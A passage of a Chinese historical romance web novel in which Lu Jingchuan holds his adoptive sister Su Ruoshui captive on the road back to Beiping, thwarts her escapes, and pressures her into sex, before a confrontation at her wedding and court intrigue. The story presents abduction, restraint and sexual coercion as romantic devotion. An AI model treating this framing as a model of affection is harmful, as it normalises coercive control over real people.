陆泾川的脸色顿了顿,随后,他又缓慢笑了笑,“我可以一辈子都是顾捡的,阿姐。” 是啊,如果她没有发现的话,他真的准备做一辈子顾捡吗? 苏弱水看向陆泾川的眼神之中带上了几分迷茫。 陆泾川到底图什么呢? “阿姐,我爱你。”男人细细亲着她的面颊,黑沉的眼眸之中浸着一股执拗和疯狂的欲色。 苏弱水偏头,咬唇,随后轻启檀口,“我不爱你。” 男人轻笑一声,“没关系的,我爱阿姐就好了。” 疯子!- 苏弱水知道,原本陆泾川是不打算带她回北平的。 青绸马车内,苏弱水手腕上的白绸带依旧没有被解开,她被陆泾川用大氅裹着,从屋子里抱出来,直接抱到院子里的马车内。 马车里垫了软垫,置了一个食盒,还有一张茶案,上面放着新鲜热好的奶茶。 “阿姐,喝奶茶。” 陆泾川将苏弱水抱在怀里,一只手圈着她的腰,另外一只手端着奶茶喂她。 “我不喝。”苏弱水蹙眉,偏过头,“你把这个解开。” 男人置若罔闻,只是将奶茶放了回去,然后亲了亲苏弱水的面颊,又去亲她的脖颈。 “陆泾川……”苏弱水吓得脸色都白了,“我喝奶茶,你拿过来。” 男人贴着她的脖颈,轻轻笑了笑,重新将奶茶端过来放到她唇边。 苏弱水就着陆泾川的手吃了两口奶茶,就不用了。 陆泾川又打开食盒,露出里面苏弱水常用的一些糕点。 “阿姐想吃哪个?芙蓉糕?还是桂花糕?” “都不想吃。”说完,苏弱水顿了顿,眼睛往陆泾川脸上瞥了瞥。 男人笑眯眯地看着她,看起来脾气很好的样子。 苏弱水赶忙道:“桂花糕吧。” 陆泾川拿了一块桂花糕送到苏弱水面前,她咬了一口,滋味一般,没有她平日里吃的好吃。 “走得太急,没有办法亲自给娘子做桂花糕,等到了北平安顿下来,我再亲自给娘子做,娘子不要生气。” 她生气难道是因为没有吃到你做的桂花糕吗? 苏弱水忍着翻白眼的冲动,生怕又刺激到他,只是瘪着嘴不说话。 马车辘辘行驶起来,苏弱水被陆泾川揽在怀里,一会玩玩她的头发,一会玩玩她的手。 苏弱水没有管他,一直到马车驶出院子,来到街上。 苏弱水突然大喊,“绑架……呜呜呜……” 一只手眼疾手快地捂住她的嘴。 陆泾川侧过身来看她。 苏弱水睁着一双黑乌乌的眼睛,脸色憋得通红。 她抬起被绑在一起的双手去扒拉陆泾川的手,可男人的手如铁钳一般无法撼动。 终于,陆泾川松开了手。 苏弱水立刻大口喘气,一边咳嗽,一边使劲吸气,喉管被吸进去的冷空气迅速扩张,带来一股刺痛感。 “咳咳咳咳……”苏弱水咳得不能自己,男人慢条斯理替她擦拭唇角溢出来的唾液。 可实际上他的手上也不干净,都是苏弱水因为无法呼吸,所以漫出来的唾液,黏腻地糊在他的掌心,湿漉漉地擦过她的唇角。 也没有擦干净,陆泾川也不嫌弃,就那么将面颊贴上来蹭了蹭苏弱水的脸,“阿姐,乖一点。” 苏弱水彻底没了脾气,她靠在陆泾川怀里,整个人还在发软。 马车驶出闹市区,苏弱水也彻底没了喊救命的心思。 陆泾川贴着她轻轻晃悠,跟抱着一个大型玩偶似的,时不时还要喂她喝上几口奶茶,吃上几口糕点。 苏弱水被喂得有些撑,偏头躲开他,“我吃不下了。” 说完,她神色蔫蔫地靠在马车壁上,伸出手无聊地抠马车壁上面贴着的金色小梅花装饰品。 “是金子做的吗?” 苏弱水低声嘟囔。 陆泾川看她一眼,凑过来,“大抵是吧,寻了附近最好的马车行买的。” 苏弱水拧着眉抖了抖肩,没有把靠在自己肩膀上的陆泾川抖掉,她无声泄气,将靠近她这里的这片金色小梅花全部抠了下来。 马车停在路边一个茶摊处,守在马车周围假扮成商户奴仆的暗卫们分批去解手。 “阿姐要不要去更衣?我抱阿姐去。” “你解开我,我可以自己去。” 男人盯着她看了一会,终于松开她。 苏弱水揉了揉自己的手腕,上面已经被勒出红痕,虽然说并没有破皮,但也疼得厉害。 男人低头查看她的手腕,眉头微微皱起,显然是没有想到被勒得如此明显。 陆泾川低头,轻轻舔舐过那圈伤痕。 苏弱水瞪着一双眼使劲收手,然后手腕在衣摆上猛擦。 陆泾川撑着下颚看她。 苏弱水气恼,抓过他的衣摆继续擦。 “阿姐够用吗?要我把衣裳脱下来吗?” 苏弱水:…… 苏弱水惊得一把甩开男人的衣摆。 “我去更衣。” 她撑着身子坐起来,身后的陆泾川殷勤的替她戴上帷帽,并撩开马车帘子。 苏弱水下了马车,隔着帷帽看一眼四周,没有茅厕,只有前面不远处有片林子。 初春时节,林子还不算茂盛,遍地枯枝桠上只有短短一截青翠嫩芽,灰败的灌木杂草之中零星渗透出几分绿色生气。 苏弱水慢吞吞走过去,转头,就看到跟在身后的陆泾川。 苏弱水抿唇,没有说话,只是继续往前走,直到进了林子,她才回头跟陆泾川道:“你别看我。” 陆泾川挑眉,转过了身。 苏弱水提裙,蹲下来,将手里的帷帽放在草丛里,然后安静地猫着身子往前爬。 地上多碎石,苏弱水的膝盖和手掌被咯得有些疼。 她努力忍着,不发出一点声音。 可惜,没有爬出多远,她面前出现一双脚。 苏弱水没有抬头,她保持低着头的姿势,慢慢改变姿势,从跪爬到跪坐,再到蜷缩着蹲下来。 动作像一只乌龟。 思想像一只把头埋进沙子的鸵鸟。 陆泾川双手环胸站在那里,俯身的时候看到女人纤细的脖颈低低垂着,她声音很轻,带着一股蔫蔫的味道,“你要是有病,就去吃点药吧。” 陆泾川也不恼,他跟着蹲下来,凑过来亲她,然后掰开她的手,将她藏在掌心里面,准备当路费用的纯金小梅花拿出来扔掉,“阿姐就是我的药。”- 苏弱水被陆泾川重新抱回了马车里。 他戴着黑色帷帽,在外面要了半盆热水,然后拿了干净帕子过来,一点一点的替苏弱水把弄脏的手指擦干净。又取出药膏,沿着她手腕泪痕处轻轻抹上一圈,最后低头吹了吹。 “疼吗,阿姐?” 苏弱水消极抵抗,没有理他。 陆泾川也不觉得尴尬,继续给她另外一只手腕上的伤痕抹药。 处理完,陆泾川随手将那些东西递给外面的马车夫,然后继续抱着苏弱水。 车子很窄吗?为什么非要贴着她。 “车内没有生炭盆,阿姐畏冷。” 陆泾川替她紧了紧身上的大氅,正大光明地抱她- 一队人吃饱喝足,再次上路。 苏弱水闭着眼假寐,没想到真的睡过去了。 马车摇摇晃晃,苏弱水蜷缩在陆泾川怀里,做梦自己抱着一个大暖炉,睁开眼的时候正看到陆泾川那张惊艳绝伦的脸。 他们一起挤在马车里,身上盖着同一件大氅。 男人闭着眼眸,微微仰头靠在马车壁上,身体随着马车轻微摇晃。 苏弱水缓慢起身,抬手撩开马车帘子。 马车走了一日,已经离开宣府。 郊外野草漫地,林木丛生。 他们一行人伪装成行商之人,再过两日就能回到北平。 夜间,他们一行人宿在附近一家客栈。 这是一处距离北平不远的小镇,略显荒僻,只有一家上房,自然是她跟陆泾川住。 苏弱水坐在窗前,夕阳日落,她盯着院子看。 客栈不算大,整个屋子散发着一股陈旧的味道,陆泾川正在替苏弱水收拾床铺,换上新的床单被套。然后又去外面搬了炭盆进来,从马车内取了自备的银骨炭替她点上。 屋内逐渐暖和起来,苏弱水却依旧坐在窗台前没有动。 陆泾川走过来,往她身上披了一件斗篷。 白日里温度回升,一到晚间就开始冷了。 “阿姐在看什么?”陆泾川握住苏弱水的手,“这里方圆十里只有这一家客栈,听说夜间还常有野猪出没伤人。” 这是在警告她不要乱跑。 苏弱水还是没有说话,陆泾川的表情沉了沉,可很快恢复过来。 他用面颊蹭了蹭苏弱水,“我让人给阿姐准备洗澡水,颠簸了一日,我们早点休息。” 陆泾川推开门出去了,客栈不大,客人也不多,里里外外守好了暗卫。 他寻到客栈老板,先是要了热水,然后又亲自去厨房看了菜,最后挑了几样,给苏弱水做了晚膳,才提着食盒往回去。 陆泾川推开屋门,屋子里却空无一人,只有那个炭盆燃烧正旺。 陆泾川面无表情地走进去,将手里的食盒放到桌子上。 暗卫从外面进来,“主子。” 陆泾川侧头看他,“人呢?” “我们的人守好了出口,夫人没有出去。” “找。”- 客栈后面有一大片林子,苏弱水进来的时候就看到了。 她从院子里找了一个木棍,然后蹲在竹林里挖笋。 天色越来越黑,苏弱水逐渐看不见了,她只挖到一根。 这一根也不够吃啊。 苏弱水摸索着继续往前,摸到一个半圆形的东西。 她歪了歪头,继续往上,是一双长腿。 “阿姐。” 吓! 苏弱水猛地一下松手,仰头看过去。 借着林子里唯一一点光色,苏弱水眯眼看清楚了眼前的人。 “你在干嘛?”陆泾川弯腰朝她看过来。 苏弱水举了举手里的笋。 “挖这个。” 男人半张脸隐在黑暗里,在看到苏弱水手里的春笋后,脸上戾气消失,重新覆了笑脸,“阿姐想吃笋?” 她现在的人生也就这点乐趣了。 苏弱水继续闷头找笋,可实在是太黑了,“你带灯笼了吗?” “我替阿姐去拿。” 陆泾川转身去拿灯笼,苏弱水蹲在那里继续等待。 蹲得有些久了,她站起来伸了一个懒腰,然后立刻就被穿林而过的冷风吹得浑身一抖。 嘶,好冷。 陆泾川回来的很快,他是小跑着过来的,手里提着一盏红灯笼,林子里浅浅晕出他的轮廓,修长的身形,扎高的马尾,跑过来的时候身上似乎还残留着从前那一点少年气。 “阿姐,我把灯笼拿过来了。” “你没有拿篮子吗?” “哦。” 陆泾川又小跑着去拿篮子。 “铲子。” “哦。” 陆泾川又跑着去拿铲子。 工具终于齐全,苏弱水蹲累了,坐在搭着陆泾川外袍的石头上看他在那里挖笋。 男人动作很快,挖了一些嫩笋,然后提在手里,另外一只手拿着红灯笼,走到苏弱水面前,“阿姐,回去吧。” 苏弱水站起来,陆泾川弯腰去拿他的外衫。 “阿姐,帮我拿一下灯笼。” 苏弱水抬手去接陆泾川手里的红灯笼,他随手将外衫挂在臂弯上,然后去牵她的手。 苏弱水抽了抽,没抽开。 两人走在竹林里,苏弱水踩着细碎的泥土,“陆泾川,你放我走吧。” 男人攥着她的力道霍然加重,“不行。” 苏弱水抿唇,语气之中充满了不解,“你到底喜欢我什么?” 陆泾川的眼神游移了一阵,最后落到苏弱水脸上,“阿姐说,我不是一个好人。” 然后呢? 苏弱水还在等陆泾川说话,可男人却不说了。 没有了? 苏弱水没有懂这句话是什么意思。 “阿姐不记得了。”陆泾川唇角下压。 苏弱水决定实话实话,“不记得了。” 男人那边噎了噎,疾走出几步,又转回去牵苏弱水的手,捏着她的指尖,低声呢喃,“我记得就好。”- 陆泾川直接拎着笋进了厨房,苏弱水则是自己回到屋子,她打开门,屋内热气迎面扑来,她赶紧到炭盆边烤了火,等身子暖和下来,才看到那个被放在桌子上的食盒。 苏弱水愣了愣,走过去打开食盒,里面都是她爱吃的菜。 因为挖笋花费了一些时间,所以这些菜都冷了。 苏弱水把它们端出来,刚刚吃上一口,那边陆泾川就端着炒好的笋过来了。 “菜都冷了,我替阿姐重新炒一份。” 陆泾川将这些冷菜收走,提着食盒重新回了厨房。 苏弱水盯着那唯一一盘红焖笋,慢条斯理吃了几口。 那边陆泾川动作很快,又提了一食盒上来。 其实苏弱水吃不了那么多,她每个菜都尝了几口,然后又吃了半碗珍珠米,就差不多了。陆泾川照旧将苏弱水吃剩下的用完了,然后拎着食盒下来,顺便让人把热水抬了上来。 洗澡的地方就在这个屋子的隔壁。 天色已晚,苏弱水洗完澡后就上了床。 她抬手勾下帐子,床帐落下。 下一刻,一只手从床帐缝隙里伸进来。 陆泾川抬手拨开面前的床帐,他黑发未梳,披散在后背,身上穿着白色亵衣,敞开着衣襟,露出锁骨和腰腹。 “只有一张床,阿姐要跟我挤一挤了。” 嘴上这样说,陆泾川的动作却一点都不客气。 他径直跪了进来,压着被褥,贴到苏弱水身边。 苏弱水呼吸一窒。 她双臂撑在身后,往后退去。 陆泾川掐住她的脚踝,跪到她身前,那张极具冲击力的面孔盈满她的双眸,“阿姐疼疼我。” 第42章 明月高悬,我要独揽 屋内灯光大亮, 陆泾川圈着苏弱水动作。 “慢一点……”苏弱水喘不上气。 陆泾川亲着她的脖颈,薄薄的一片肌肤,被他亲得泛红。 苏弱水受不了地仰头, 青色的经络从白细的肌肤内浮现出来, 呈现出脆弱的美感。 陆泾川沿着经络亲,一直到锁骨处。 “阿姐, 叫我夫君。” 苏弱水抿唇不言, 被弄得实在受不了了,才哭着叫了一声。 “夫君……” 女人的嗓音变了,多了一股不一样的味道,带着一股湿气,连眼尾都浸出一股媚态。 陆泾川换了姿势。 屋内灯光太亮,苏弱水被男人搂在怀里。 修长白皙的指骨压着她的后背, 紧紧的贴着纤薄的蝴蝶骨。 不知过了多久,陆泾川神色餍足地亲她。 第三日, 他们终于回到北平。 马车内,苏弱水被陆泾川圈在怀里, 她抬手撩开马车帘子, 看到北平熟悉的街道。 大街上很多地方都挂了红绸,看起来像是有什么喜事。 陆泾川凑过来,从后面搂着她说话, “今日是阿姐与那代王世子大婚的日子, 阿姐高兴吗?” 苏弱水想,她有什么可高兴的。 “这好事给你?” 显然是没有想到苏弱水会这样回答,陆泾川一顿,随后大笑起来,笑得眼泪都出来了。 “阿姐, 阿姐,阿姐,我就知道你是不愿意的。” “阿姐不喜欢他,对不对?” 陆泾川跟少年时已经不能比了,他长得又高又壮,跟一堵墙似的,可还是喜欢抱着她撒娇,说话的时候带着尾音,黏黏腻腻地搂着她轻轻晃悠,时不时还要亲她一下。 马车本就在晃,陆泾川还要搂着她晃,苏弱水觉得自己快要被晃吐了。 “你别晃了,我想吐。” 陆泾川不晃了,只亲她。 马车路过苏弱水常去的那家点心铺子,陆泾川还下去给她买了一食盒点心,足足垒了五层。 “阿姐尝尝这个,听说是它们家新出的红杏干。” 马上就要走剧情点了,陆泾川看起来一点都不紧张,还在这里吃红杏干。 苏弱水挑了一颗放进嘴里,觉得味道不错,又吃一颗。 她再去拿第三颗的时候,陆泾川突然端着那盒红杏干拿远。 苏弱水歪头。 陆泾川随手挑了一颗红杏干咬住,然后一把扣住她的后脑勺。 “唔……” 苏弱水伸手推他,根本就推不动,反而被他压倒了。 红杏干被搅得乱七八糟- 马车停在北平王府门口,虽是与一个死人成亲,但这场婚事依旧办得隆重。 他们的马车一路过来,能看到从北平王府门口排到街尾的队伍。 北平王府门口挂了两盏红灯笼,陆泾川单手撑着下颚盯着那两盏红灯笼看。 他头上戴着黑色薄纱帷帽,单手撩开马车窗帘,门口有迎宾的奴仆上前道:“这位贵人,请问是哪家的?” 陆泾川没有回答,只是从腰间取出一柄匕首,然后眯着眼往前一掷。 那柄匕首“唰”的一下斩断大红囍字灯笼上面挂着的线,然后用力钉在了大门上。 这分明是来挑事的。 奴仆面色大变,急急去喊人。 附近正在排队的宾客也跟着变了脸色,胆子小的缩在马车里,胆子大的探出头来看八卦,看不到的也大着胆子往前挤。 “阿姐,我们下去吧。”陆泾川转头,朝苏弱水伸出手来。 苏弱水抿了抿刺痛的唇,抬手,握住他,两人一齐下了马车。 门口的宾客自动分开两条路来,唯独从府里奔出来的护卫兵们手里拿着刀剑,寒光凛凛的对准两人。 陆泾川神色不变,慢条斯理地抬手取下脸上的黑色帷帽。 “世子爷?”有认识陆泾川的奴仆发出惊讶的声音。 那一瞬间,苏弱水听到周围倒吸一口凉气的声音。 不是说那位北平世子死了吗?连尸首都抬回来了,这是怎么回事?诈尸了? 大家交头接耳,窸窸窣窣。 刘飞闻讯赶来,一眼看到陆泾川,双眸睁大,“世子?” 陆泾川表情淡淡地颔首。 刘飞一抬手,护卫兵们纷纷放下武器。他的视线转向陆泾川牵在手里的那个女子,刘飞上前一步,神色难掩激动。 “是我,刘叔。”苏弱水抬手揭开脸上帷帽。 看着一对姐弟完完整整的出现在自己面前,刘飞这个只流血不流泪的战场老将忍不住红了眼眶。 外面的喧闹声引起了里面的注意。 老管家推着北平王从大殿内出来,男人满头银发束起,脸色很不好看,眼眸灰败,带着一股难掩的死气。可在看到苏弱水的瞬间,那双黯淡的眼眸瞬间亮起光彩,北平王撑着轮椅站起来。 “父王。”苏弱水唤了一声。 北平王踉跄着脚步,直直走到她面前,抬手抚上她的脸,确定是自己活生生的女儿之后,才重重地吐出一口气道:“回来了。” “嗯。”苏弱水点头。 北平王将视线转向站在苏弱水身边的陆泾川。 男人高大挺拔,甚至比北平王还要再高些,年轻的男子垂目拱手行礼,可不见半分卑微姿态,气势早已压过这位年近半百的老王爷。 “怎么回事?”北平王哑声开口,眼神变得锐利。 陆泾川抬眸,视线落到北平王身后。 那里,周宿抱着手里的牌位疾奔出来,他的眼中没有别人,只有苏弱水。 女人一袭素袄站在那里,露出半张清冷面孔,眼神淡淡地瞥过来,却让周宿的双眸都红了。 “弱水……”周宿低喃一句上前,被陆泾川抬手拦住。 男人手里的匕首抵在周宿脖颈间,挡在了他跟苏弱水中间。 “代王世子,我们的账还没算呢。” 短短一句话,现场气氛骤变。 其实北平王也查过悬崖坠马事件,只是并没有找到实质性的证据,这场意外实在是太像意外了。 “小舅子何出此言?”周宿脸上露出不解之色,然后视线一转,落到苏弱水脸上,仿佛没有看到那把横在自己脖颈上的匕首,表情骤然温和,“弱水,今日是我们成亲的日子,你是回来与我成亲的吗?” 苏弱水:…… 苏弱水侧身躲在陆泾川身后。 周宿表情渐渐变淡,“你不是回来与我成亲的吗?” “世子爷!”周宿的幕僚赵温疾奔出来,一眼看到那柄横在周宿脖颈间的匕首,面色大变,“北平王,你们北平就是这样对待代王世子的吗?” 北平王坐回轮椅上,他微微抬眸看向赵温,“有些误会,需要世子解释一下。” “只是误会而已,何必刀剑相向!你此举可是在挑起北平和开封的纷争!” 赵温话落,一柄长剑从后贴上他的脖子,是刘飞。 宾客们面面相觑,不敢吱声。 “关门。”北平王淡淡一句话,护卫军便将北平王府围拢成铁桶一般- 苏弱水被送回自己的明月楼休息了。 明月楼内的摆设并没有任何改变,小到一盆花,大到一张榻,里面的东西都被擦得一尘不染。 苏弱水坐在榻上,画屏和王妈妈抱着她好一顿哭,说看到她被周宿找回来的尸首时,两个人哭得几乎昏厥过去。 苏弱水赶紧细细安抚两人,然后又在他们面前转了一圈,说自己养得很好,没有受伤,只是为了查明真相,才会隐瞒身份。 “郡主,到底是谁要害您和世子啊?”王妈妈哭得眼睛红肿,说话的时候却恨得牙痒痒,“被老奴知道,定要将他碎尸万段!” “此事……”苏弱水想了想,柔声道:“是周宿。” 王妈妈和画屏双双愣在那里。 “代王世子?”两人脸上都露出不可置信的表情,“您和世子坠下山崖之后,代王世子带人寻了三天三夜,还病倒了,后来病好之后,日日为您抄经祈福,照料王爷……” 王妈妈和画屏对视一眼,都在各自的眼中看到了不可思议,“真没想到,他居然是这样的人。” 苏弱水没有多话,两人也没有继续谈论这个话题。 王妈妈起身去寻香,说要给菩萨还愿。 画屏赶紧替苏弱水准备衣物洗漱,然后看着苏弱水自己随意编出来的麻花辫皱了皱眉,“郡主在外头连头发都粗糙了,看着也……”画屏想说苏弱水在外头受苦,可仔细一看好像也没瘦,便将话咽了回去,只道:“世子将郡主照料的挺好。” 苏弱水单手托腮,看着镜子里的自己。 女人眉眼清冷依旧,只是若细看,便能发现多了几分女子妩媚。 苏弱水微微偏头,还能看到脖颈处的绯红痕迹。 她抬手压了压,拉高衣领。 那边画屏替她点上熏香,送来手炉,又将今日的菜品单子拿了过来,“郡主今日想用些什么?郡主在外头定是吃不到咱们府里的菜。” 确实,北平王府里面的厨子是苏弱水自己寻的,早已调教出来自己的口味。 苏弱水点了一个鹿肉,其余的便由下头自己上。 任凭外头风风雨雨,人还是得吃饭。 膳房很快就将晚膳送来了,苏弱水一人坐在桌前,手里拿着玉箸吃了一些,然后又用了一碗蒸酥酪垫底。 “画屏。”苏弱水将画屏唤了过来。 “郡主,怎么了?” “外头有什么消息吗?” 画屏压低声音,“护卫军将整个王府都围住了,今日留下的宾客们都被暂时安顿了下来,那位代王世子和他手底下的人都被关押了起来。” 苏弱水点了点头。 跟剧情一样。 想必现在陆泾川正在书房内跟北平王谈判,索要藩王之位- 北平王府书房。 陆泾川把玩着手里的匕首站在北平王面前。 多月未见,北平王老态更显,可更明显的是他身上带着的那种疲惫感。 其实在征战蒙古的这三年间,北平王的身体就已经不行了,一直都是在强撑罢了。 北平王抬眸看向面前的男人。 从前的少年郎褪去了那股青涩气,周身的气质变得越发隐匿,让人更加猜不透他的想法。 北平王缓慢开口,“代王世子的事,你想要怎么处理。” 陆泾川挑眉,“父王觉得,要如何处理?” 北平王知道,此次若非陆泾川和苏弱水命大,他就真的失去自己的女儿了。 北平王常年征战沙场,并非优柔寡断之辈。 “代王不好相与。”北平王沉吟半响,“今日宾客太多,如果是在无人知晓之地,周宿突发恶疾,暴毙而亡的话,此事也能了结了。” 现在却是有些难办。 陆泾川轻笑一声,侧身坐到太师椅上。 他搭起长腿,身子往后仰,手里的匕首慢条斯理刻在扶手上,发出“咔嚓咔嚓”的声音。 “代王那个老东西想要的是北平兵权,父王不会不知道吧?” 北平王按在轮椅扶手上的手下意识握紧。 他当然知道,只是周宿演的太好。 北平王难得糊涂一把,临了被陆泾川硬拉了回来。 “父王年纪大了,有些事情看不清楚。”陆泾川站起来,俯身低头看向面前的北平王,眼中的欲望几乎要满溢出来。 北平王和陆泾川对视,“你要这个位置。” 陆泾川轻蔑一笑,“我不要。” 北平王皱眉,“那你要什么?” 陆泾川双手撑在北平王的轮椅扶手上,身型缓慢下压,带着迫人气势,眼中浸出光,“我要当阿姐的丈夫。” 北平王神色平静地看着陆泾川,“你跟周宿一样,还不是要这个位置,不要把弱水牵扯进来。” 陆泾川直起身,“父王怎么就不明白呢。”他抬头看向窗户外印出的明月。 细细的一弯月亮悬挂在空中,周身透出薄薄的光。 陆泾川的呼吸逐渐加重,黑眸死死盯住这片惑人的月,“明月高悬,我要独揽。” 书房内陷入异常的沉默之中。 “弱水同意吗?” 陆泾川低头继续把玩匕首,没有说话。 北平王的表情变得严肃,“陆泾川,你不要太过分。” 陆泾川转身,笑意盈盈的样子,“父王,您老了。今日我只是来告诉您一声,毕竟您是阿姐的父亲。周宿的事情我会处理,您不用理会,安心养老即可。” 话罢,陆泾川转身要走。 一只手突然伸出握住他的臂膀。 陆泾川站在那里没有回头,只是微微偏头向下看。 北平王坐在轮椅上,上半身倾斜,用尽全力抓住了他,姿势有些狼狈。 “你到底要做什么?” 陆泾川抬臂,缓慢抽开北平王的手。 他没有回答北平王的话,而是望向远处,那是皇城的方向。 “我的眼线在皇城查到了一些陈年旧事。” 北平王一直都知道,陆泾川在培养自己的势力,可他没有想到,陆泾川的成长速度如此之快,简直到了令人瞠目结舌的地步。 陆泾川居然已经将手伸到了皇城。 “当今圣人迷恋卜卦之术,从前如此,现在也如此。” “若我没有记错,圣人与父王是亲兄弟。父王替自己的兄长守着北平,防范蒙古,一战便是几十年,真是愚忠啊。” “你到底要说什么?” “十五年前,国师秘密向圣人禀告,说北平有真龙之气现世,未来必会祸患无穷。父王知道的,圣人最信这些东西了。” 北平王的面色逐渐变得苍白。 “父王不会以为,苏锦书被拐真的只是一桩意外?”陆泾川转身,面对北平王,轻轻摇头。 陆泾川的语气很轻松,可是每一个字都砸在了北平王心尖上,像重锤一样,每一下都让他心脏骤缩,几乎致命。 “不是的,是因为苏锦书就是那个身怀真龙之气的人。国师说,真龙之气不可灭,只能改。” “父王,您该醒醒了,您看不到吗?这天下,真是一滩烂泥。”- 皇城西苑。 圣人身穿道袍盘腿坐在蒲垫上,面前焚着一炉香。 殿内点了百盏长明灯,照得整个西苑灯火通明。 壁上悬挂三清画像,圣人案上摆着桃木剑、罗盘、朱砂砚等物,一侧堆积着加盖了道教符箓的奏折尚未批阅。 突然,天际雷声大作。 圣人睁开眼,抬眸望向外面。 雷雨落下,国师急匆匆赶来。 殿门打开,国师伏跪于地。 圣人站起身,身形如鹤,手持拂尘,“昨日朕的梦,有解了吗?” “是。”国师抬眸,“圣人昨日梦到紫光冲天,那是大吉之兆,削藩之事,可行了。” 圣人脸上露出笑来,然后俯身朝国师道:“朕的丸药炼好了吗?” 国师立刻取出一个小盒,双手呈上。 圣人抖了抖袖子,小心接过,打开,里面是一颗红丸。 “这红丸真能让朕长生不老?” “圣人乃真龙天子,真龙之气在身,得上天庇佑,此丹以朱砂、秋石,雄黄炼制,辅佐以晨露,服下可延年益寿,长生不老,只是需要陛下清心寡欲,方能奏效。” 圣人颔首,郑重地收起盒子,然后站在殿内张开双臂,“国师看看,朕已经移居此处,每日素食,远离后宫,定不负国师所望。”说到这里,圣人一顿,想起另外一件事,“对了,国师,前些日子听说河南又发洪涝。” 国师道:“陛下放心,您是真龙天子,只需您带领百位童男童女一道诵经念佛三日,便能消灾。另外,还需启用青词写得好的大臣加强辅佐,才能事半功倍。” “好,好。”圣人抚掌,立刻下旨令人选百名童男童女入西苑诵经祈福,并让青词写得好的一些大臣撰写青词,明日呈上- 苏弱水用完了晚膳,在画屏的服侍下沐浴歇息。 她躺在床上,柔软的绸缎被褥盖在身上,整个人都舒服的像躺在云朵里。 果然啊,人这种生物,由奢入俭难。 被伺候的舒舒服服的苏弱水嗅着熟悉的昂贵熏香,穿着舒服到几乎感受不到布料摩擦的绸缎睡衣,长发也被仔仔细细上了一层桂花油,梳得细腻顺滑。 床头置了一盏小夜灯,漂亮的琉璃灯巴掌大一个,工艺繁复,上面还坠着漂亮的粉色水晶流苏。 苏弱水伸出手拨了拨那几条粉色水晶流苏,冷不丁想起苏锦书。 其实身怀真龙之气的人不是苏锦书,而是伪装成苏锦书的陆泾川。 那位国师只算对了一半。 身怀真龙之气的人不能杀,会惹怒天道,那会破坏国运,带来灾难。国师便为苏锦书改命,改变他的身份、环境、地位、处境。 你说这位国师没有真本事,他算到了真龙之气。 你说这位国师有真本事,却卜算的七零八落。 苏弱水叹息一声,翻身,然后被身后的人吓了一跳。 陆泾川不知何时躺在了她身边,悄无声息跟阴湿恶鬼一样。 明月楼闺房的床铺比之前在宣府小院里的不知道大了多少倍,躺十个苏弱水都够了,也难怪她没有在第一时间发现陆泾川,毕竟不是从前那张窄床,连翻身都嫌小。 陆泾川单手撑着额头,就这样侧躺着看她,也不知道看了多久。 “你怎么在这?”苏弱水压着声音,“你出去,我要睡了。” 陆泾川坐起身,心血来潮地跪到苏弱水脚边,一把攥住她的脚握在掌心,然后盘腿坐在那里将她的双足往怀里塞,“我给阿姐暖脚。” 之前陆泾川还是顾捡的时候,就常常给她暖脚。 苏弱水蹙眉,正欲说话,那边传来珠帘声。 “郡主,今夜奴婢陪您睡吧?” 画屏挑开帷幔,看到苏弱水半撑着身子靠在床头,手里拿着话本子,被褥微微拱起。 “不用了。”苏弱水抬眸看向画屏,脸上擒着僵硬的微笑。 第43章 那小狗听话吗? 屋内只剩床头一盏琉璃灯, 画屏看到自家郡主面色苍白。 “郡主,您怎么了?是不是身体不舒服?奴婢唤医士过来给您看看吧?” “不用了,我没事, 我要睡了。” 苏弱水的胳膊使劲压在被褥上, 面颊泛起绯红。 画屏脸上带着担忧,“那奴婢就睡在外间, 郡主有事唤奴婢。” “不用, 你回去好好歇息。” 好不容易将画屏支走,苏弱水赶紧揭开被褥。 陆泾川抱着她躺在被褥里,仰头看她,表情无辜地绕着她的腰带玩。 得亏冬日里被褥厚实,不然就露馅了。 男人似是心情很好,他蹭着她, “阿姐叫我的名字。” “苏锦书,你赶紧回去……” “不是这个名字。” 苏弱水的表情变得微妙, 她低垂眉眼,“你还有别的名字吗?” 陆泾川勾唇, 屈膝往前爬, 倾身过来,指尖抚过女人卷翘的睫毛,“阿姐不是知道吗?” 苏弱水依旧没有开口。 陆泾川表情含笑, 抚着她睫毛的指尖往下落, 触到女人柔软的唇瓣,下一刻,男人倾身覆过来,含住她的唇,亲得很深。 苏弱水被迫仰头, 她被亲得窒息,唇瓣变成漂亮的艳红色,浸着湿润的水渍。 “阿姐。”陆泾川蹭着她,去解她的衣带。 苏弱水受不了地推他,“你别蹭了,怎么像狗一样……”到处发,情。 “我是阿姐的小狗,汪。” 苏弱水:…… 苏弱水发现有时候自己的脸皮还是太薄了。 她深吸一口气,双手捧住陆泾川的面颊。 自从知道顾捡是陆泾川的身份之后,苏弱水就已经很久没有这样温柔的与他亲近了。 陆泾川双眸微亮,看向苏弱水的眼神都变了。 苏弱水抚着陆泾川的面颊,想起从前自己也会跟顾捡躺在一起,伸出手去摸他的脸,然后想象他的模样。 看到跟摸到真是两个完全不同的概念。 她摸的时候并没有感觉顾捡的鼻子有这么挺,眉骨有这么高。 “那小狗听话吗?”苏弱水说这话的时候脚趾都蜷缩紧了,她觉得尴尬又羞耻,声音也憋在喉咙里,很艰难才吐出来,却偏偏多了几分羞耻意味,显得格外好听。 陆泾川凑过来。 苏弱水下意识捧着他的脸往后靠。 男人半个身体压在她身上,嘴里说着“听话”,实际上眼神偏执的可怕。 “那,那你回你自己的世子府去。”苏弱水偏头不敢看他,只是抬手指了指世子府的方向。 陆泾川偏头,凑过去亲她的指尖。 “你不是说听话吗?”苏弱水迅速缩回自己的手。 “嗯,小狗听不懂人话。”- 苏弱水一觉睡醒,天光大亮,她发现陆泾川依旧没有离开。 她已经习惯了身边有陆泾川存在,即使屋内的炭盆已经熄灭,可他像个火炉似的搂着她,将她热得浑身冒汗。 这大概也算是个好处了,起码她不会因为踢被子,所以感冒。 苏弱水抬手推开男人起身,陆泾川伸出双臂圈过来,将脸贴在她的后背上蹭,将他自己的头发蹭得乱七八糟的,“阿姐。” “你今日无事?” 昨日将北平王府闹得那么厉害,今天陆泾川一定有一大堆事情要处理,比如那些已经被关了一晚上的宾客,还有那个被压在牢里的周宿等等。 “有事。”陆泾川又蹭了蹭苏弱水,这才恋恋不舍的起身,然后走到炭盆边,先是替她添了炭火,才到窗户边,推开窗子,翻身出去,并细心的替苏弱水将窗户阖上。 见陆泾川走了,苏弱水这才重新躺回去睡了一个回笼觉。 周宿是代王之子,代王已经死了一个儿子,就剩下这一个了。 如果这个儿子也死了,那么开封和北平一定会结仇。 